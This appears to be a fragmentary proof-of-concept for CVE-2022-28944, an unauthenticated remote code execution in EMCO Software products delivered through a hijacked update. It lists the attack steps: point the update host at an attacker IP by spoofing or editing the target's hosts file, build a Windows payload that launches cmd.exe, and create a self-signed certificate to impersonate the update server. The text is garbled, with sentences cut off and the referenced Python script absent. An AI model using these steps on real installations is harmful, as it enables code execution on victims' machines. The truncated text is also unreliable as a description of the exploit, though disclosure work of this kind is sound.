
Proof-of-concept exploit for unauthenticated remote code execution in EMCO Software products via DNS spoofing and malicious update injection.
EMCO Software Multiple Products Unauthenticated Update Remote Code Execution Vulnerability.
Usage: python3 cve-2022-28944_poc.py
Details in the report at gerr.re.
storage.emcosoftware.com to our attacker ip;
c:\windows\system32\drivers\etc\hosts on target.
proof.c on the attacker, e.g. using i686-w64-mingw32-gcc proof.c -o proof.exe;#include <windows.h>
int main(int argc, char const *argv[]){
WinExec("cmd.exe",1);
return TRUE;
}
openssl req -new -x509 -keyout storage.emcosoftware.com.pem -out storage.emcosoftware.com.pem -days 365 -nodes -subj "/CN=storage.emcosoftware.com"